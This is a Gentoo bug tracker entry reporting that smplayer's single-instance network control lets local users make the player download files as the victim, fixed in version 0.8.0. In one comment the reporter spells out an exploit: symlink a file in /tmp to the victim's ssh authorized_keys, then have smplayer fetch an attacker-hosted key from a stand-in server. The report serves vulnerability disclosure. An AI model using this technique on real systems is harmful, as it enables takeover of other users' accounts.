Summary: | <media-video/smplayer-0.8.0: local denial of service | ||
---|---|---|---|
Product: | Gentoo Security | Reporter: | ta2002 <throw_away_2002> |
Component: | Vulnerabilities | Assignee: | Gentoo Security <security> |
Status: | RESOLVED FIXED | ||
Severity: | minor | CC: | kensington |
Priority: | High | ||
Version: | unspecified | ||
Hardware: | All | ||
OS: | Linux | ||
Whiteboard: | B3 [glsa] | ||
Package list: | Runtime testing required: | --- | |
Bug Depends on: | 417979 | ||
Bug Blocks: |
Description
ta2002
2010-07-01 13:16:38 UTC
Oops. I guess this can be turned off my setting: use_single_instance=false in ~/.config/smplayer/smplayer.ini It still (at least) merits a warning when installed (assuming people read them). I am a bit surprised that nothing has been done on this in eighteen months. With the release of a new version (0.6.10), it seems like a good time to address it. Given that one can download arbitrary files as the user running smplayer, it is easy to compromise the account of the user running smplayer. If ssh is in use on the machine, it is absolutely trivial: cd /tmp ln -s /home/victim/.ssh/authorized_keys mypublickey telnet to smplayer and download http://myserver/mypublickey with permissions of the victim If a bonehead like me can figure this out, I shudder to think what someone who is reasonably clever can do. I did not understand everything of your demonstration (I am probably more bonehead than you :p). Since it's a SMPlayer's problem, have you post a bug or something like that on the official website? (In reply to comment #3) > I did not understand everything of your demonstration (I am probably more > bonehead than you :p). Basically, if one can write files as another user, one can overwrite things such as ssh keys (and replacing authorized_keys with a malicious user's key means that the malicious user can then log in as the victim). > Since it's a SMPlayer's problem, have you post a bug or something like that on > the official website? I haven't. This appears to be a "feature" they are proud of, and while it seems like an idiocy to me, there is always a significant chance that I don't know what I am talking about. As of smplayer-0.8.0 (which is currently the only version in the tree), the network access has been replaced with a named local socket. We therefore are no longer affected by the described issue. smplayer2, which is a fork of smplayer-0.7, might still be affected. (In reply to comment #6) > smplayer2, which is a fork of smplayer-0.7, might still be affected. It appears to be. Stabilization was completed in bug #417979. GLSA vote: no. GLSA Vote: no too, closing. |